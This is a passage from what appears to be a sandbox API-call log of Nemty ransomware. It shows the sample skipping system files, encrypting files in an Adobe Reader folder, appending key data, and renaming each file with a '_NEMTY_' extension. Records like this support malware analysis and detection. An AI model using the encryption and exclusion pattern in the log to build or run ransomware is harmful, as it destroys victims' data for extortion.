pszString="c1r1ex7Q1wsd9l1s8Xjo+/IiKOhFlYw9yGmNZOWBb2Qp3YKvR4GHvKhUCj2JDJ4B\r\nC0jVwpvYEqA7+E40GQq58lHQyzmogRJsRJTFoXnx2pHZMO05cgDzrfFMk+v4zo7U\r\nzUyJu0kVbKYY3CWoYs7+TWhaeLuRxTSfPXaRpqwJVhOSI3xKTJdYVimPSrRjXMvE\r\nAd+0N2mNu7R8Z06Rrk0SA4SqXeUKA+9PB0/0dXJOj/lC4gy4w3YNePuSpmMzCKu+\r\nLbq/pOwylFrQBZaE6VH/Dawswpnn2a0UqFpvg44wUpjIlJ0Po45Htz6gP9E4FOoq\r\nPeyAbEn09XxPrM292dfSEw==\r\n", pcchString=0x653e91c) returned 1 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.751] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=222) returned 1 [0193.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0193.751] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.751] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0xd0, lpOverlapped=0x0) returned 1 [0193.752] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.752] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0xd0, lpOverlapped=0x0) returned 1 [0193.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.752] SetFilePointer (in: hFile=0x254, lDistanceToMove=222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xde [0193.752] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.752] CloseHandle (hObject=0x254) returned 1 [0193.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.753] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif._nemty_kgobjgd_")) returned 1 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="server_issue.gif", cAlternateFileName="SERVER~3.GIF")) returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2=".") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="..") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="...") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="windows") returned -1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="rsa") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="NTDETECT.COM") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="ntldr") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="MSDOS.SYS") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="IO.SYS") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="boot.ini") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="boot.ini") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="ntuser.dat") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="desktop.ini") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="CONFIG.SYS") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="RECYCLER") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="bootmgr") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="programdata") returned 1 [0193.754] lstrcmpiW (lpString1="server_issue.gif", lpString2="appdata") returned 1 [0193.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_issue.gif", lpUsedDefaultChar=0x0) returned 16 [0193.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_issue.gif", lpUsedDefaultChar=0x0) returned 16 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_issue.gif", lpUsedDefaultChar=0x0) returned 16 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_issue.gif", lpUsedDefaultChar=0x0) returned 16 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.755] Sleep (dwMilliseconds=0x5) [0193.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2723db90, dwHighDateTime=0x1d561e8)) [0193.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2723db90, dwHighDateTime=0x1d561e8)) [0193.773] GetLastError () returned 0x0 [0193.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.773] GetLastError () returned 0x0 [0193.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.774] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.774] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="O0YPvEIwbIXVE/vA8hFn2DUUQmgFe2oMSO7VFN2dKxfx0+zVWkfgTTXcWnWPNxR/\r\nWDQu/tpB6Fj3HuspR1FpARqLZj5zLLYoChkk5YbhlNOUZotFj7wg7w33l5o9Zghw\r\na4jRIKBBwzrFaGqzaZMbbatOWnza7W2BVpjk6ES6ZvPZkpzjoaGLFAyq7SO2/1Ph\r\nGp0kBfYshyg9r74SM/gxYvN24FcM82flucV3FXPCIIXiLJHTTZPLAQjuM4WUTZIx\r\nyDSlKsispcySy/emtBmBO+echRNpLr96P+1nv3CPs+19TX2O+UNi2wSABLcRGirW\r\nshvpMW7Rs+DVZ1p3aXeuMw==\r\n", pcchString=0x653e91c) returned 1 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.774] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=576) returned 1 [0193.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x240) returned 0x6340048 [0193.775] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.775] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x240, lpOverlapped=0x0) returned 1 [0193.776] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.776] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x240, lpOverlapped=0x0) returned 1 [0193.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.776] SetFilePointer (in: hFile=0x254, lDistanceToMove=576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240 [0193.776] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.776] CloseHandle (hObject=0x254) returned 1 [0193.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.776] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif._nemty_kgobjgd_")) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.777] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="server_lg.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2=".") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="..") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="...") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="windows") returned -1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="rsa") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="NTDETECT.COM") returned 1 [0193.777] lstrcmpiW (lpString1="server_lg.gif", lpString2="ntldr") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="MSDOS.SYS") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="IO.SYS") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="boot.ini") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="boot.ini") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="ntuser.dat") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="desktop.ini") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="CONFIG.SYS") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="RECYCLER") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="bootmgr") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="programdata") returned 1 [0193.778] lstrcmpiW (lpString1="server_lg.gif", lpString2="appdata") returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_lg.gif", lpUsedDefaultChar=0x0) returned 13 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_lg.gif", lpUsedDefaultChar=0x0) returned 13 [0193.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_lg.gif", lpUsedDefaultChar=0x0) returned 13 [0193.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_lg.gif", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_lg.gif", lpUsedDefaultChar=0x0) returned 13 [0193.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.778] Sleep (dwMilliseconds=0x5) [0193.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27263cf0, dwHighDateTime=0x1d561e8)) [0193.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: 